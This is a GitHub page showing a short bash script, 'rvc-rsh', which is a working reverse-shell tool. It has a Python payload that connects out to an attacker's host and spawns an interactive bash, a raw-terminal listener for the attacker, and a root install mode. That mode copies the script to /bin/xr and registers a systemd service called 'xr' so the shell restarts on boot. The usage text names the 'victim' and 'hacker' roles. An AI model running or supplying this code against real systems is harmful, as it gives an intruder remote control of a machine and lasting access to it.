-
Notifications
You must be signed in to change notification settings - Fork 0
/
rvc-rsh
83 lines (70 loc) · 2.05 KB
/
rvc-rsh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/bin/bash
# Created by @rvcgeeks____ <github.com/rvcgeeks> @Pune, India @12/12/2019, 1:15 am
# Reverse shell script in python
case $1 in
expose)
while [ 1 ] ; do
python3 -c "import socket, pty, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((socket.gethostbyname('$2'), $3))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn('/bin/bash')" >> /dev/null 2>&1
sleep 5;
done
;;
open)
echo '[38;2;255;0;0m ▏▎▍▌▋▉█▇▆▅▄▃▂▁ ▁▂▃▄▅▆▇█▉▊▊▋▌▍▎▏▏▎▍▌▋▉█▇▆▅▄▃▂▁ ▁▂▃▄▅▆▇█▉▊▊▋▌▍[0m
[48;2;255;0;0m[1;94m[38;2;255;255;255m 🤖🐉💻 RVC REVERSE SHELL 💻🐉🤖 [0m'
sizes=$(stty size)
rows=$(echo $sizes | awk '{print $1}')
columns=$(echo $sizes | awk '{print $2}')
python3 -c "import socket, os, tty, termios, threading
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((socket.gethostbyname('$2'), $3))
s.listen(128)
c, a = s.accept()
c.send(b'stty rows $rows columns $columns\n')
def hear():
while True:
os.write(1, c.recv(1))
t = threading.Thread(target=hear)
t.daemon = True
t.start()
oset = termios.tcgetattr(0)
tty.setraw(0)
while True:
try:
c.send(os.read(0, 1))
except:
break
termios.tcsetattr(0, termios.TCSADRAIN, oset)"
;;
install)
if [ $EUID -ne 0 ] ; then exit 1 ; fi
cp $0 /bin/xr
echo "Wants = network.target
[Service]
ExecStart=/bin/xr expose $2 $3
[Install]
WantedBy=network-online.target" > /etc/systemd/system/xr.service
systemctl daemon-reload
systemctl enable xr
systemctl start xr
;;
uninstall)
if [ $EUID -ne 0 ] ; then exit 1 ; fi
systemctl stop xr
systemctl disable xr
systemctl daemon-reload
rm /etc/systemd/system/xr.service
rm /bin/xr
;;
*)
echo "usage >>
(victim) $ $0 [expose | install] (hacker hostname) (port no)
(attacker)$ $0 open (hacker hostname) (port no)
(victim) $ $0 uninstall\n"
;;
esac